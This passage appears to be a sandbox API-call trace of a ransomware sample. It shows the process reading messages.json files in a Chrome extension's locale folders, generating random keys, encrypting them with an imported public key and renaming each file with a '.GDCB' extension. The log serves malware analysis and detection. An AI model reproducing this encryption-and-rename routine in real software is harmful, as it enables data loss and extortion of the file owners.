data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.gdcb")) returned 1 [0268.779] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.782] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.784] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.784] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.784] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.786] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.788] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.788] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.788] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.788] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.790] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797720) returned 1 [0268.790] CryptGetKeyParam (in: hKey=0x6797720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.790] CryptEncrypt (in: hKey=0x6797720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.791] GetLastError () returned 0x0 [0268.791] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.791] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.792] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67972a0) returned 1 [0268.792] CryptGetKeyParam (in: hKey=0x67972a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.792] CryptEncrypt (in: hKey=0x67972a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.793] GetLastError () returned 0x0 [0268.793] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.793] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.795] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.797] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.799] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x115, lpOverlapped=0x0) returned 1 [0268.809] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.815] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.gdcb")) returned 1 [0268.820] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.823] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.825] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.826] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.826] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.826] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.828] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.830] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.830] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.830] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.830] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.832] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797560) returned 1 [0268.832] CryptGetKeyParam (in: hKey=0x6797560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.833] CryptEncrypt (in: hKey=0x6797560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.833] GetLastError () returned 0x0 [0268.833] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.833] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.834] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797520) returned 1 [0268.834] CryptGetKeyParam (in: hKey=0x6797520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.834] CryptEncrypt (in: hKey=0x6797520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.835] GetLastError () returned 0x0 [0268.835] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.835] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.836] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.839] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.842] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x125, lpOverlapped=0x0) returned 1 [0268.852] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.860] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0268.865] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.868] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.871] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.871] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.871] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.871] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.876] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.876] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.876] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.876] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.879] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67976e0) returned 1 [0268.879] CryptGetKeyParam (in: hKey=0x67976e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.879] CryptEncrypt (in: hKey=0x67976e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.879] GetLastError () returned 0x0 [0268.879] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.879] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.881] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67970e0) returned 1 [0268.881] CryptGetKeyParam (in: hKey=0x67970e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.881] CryptEncrypt (in: hKey=0x67970e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.881] GetLastError () returned 0x0 [0268.881] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.881] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.883] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.885] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.887] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcd, lpOverlapped=0x0) returned 1 [0268.896] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.904] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0268.908] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.914] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.914] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.914] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.916] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.918] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.918] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.918] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.918] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.921] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797120) returned 1 [0268.921] CryptGetKeyParam (in: hKey=0x6797120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.921] CryptEncrypt (in: hKey=0x6797120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.921] GetLastError () returned 0x0 [0268.921] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.921] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.923] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797160) returned 1 [0268.923] CryptGetKeyParam (in: hKey=0x6797160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.923] CryptEncrypt (in: hKey=0x6797160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.923] GetLastError () returned 0x0 [0268.923] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.923] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.924] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.927] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.929] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x115, lpOverlapped=0x0) returned 1 [0268.938] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.944] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0268.949] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.954] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.954] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.954] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.957] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.959] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.959] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.959] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.959] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.961] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67971a0) returned 1 [0268.961] CryptGetKeyParam (in: hKey=0x67971a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.961] CryptEncrypt (in: hKey=0x67971a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.962] GetLastError () returned 0x0 [0268.962] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.962] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.963] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67971e0) returned 1 [0268.963] CryptGetKeyParam (in: hKey=0x67971e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.963] CryptEncrypt (in: hKey=0x67971e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.964] GetLastError () returned 0x0 [0268.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.964] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.965] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.967] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.970] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x177, lpOverlapped=0x0) returned 1 [0268.978] VirtualAlloc (lpAddress=0x0, dwSize=0x180, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.984] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\documents and 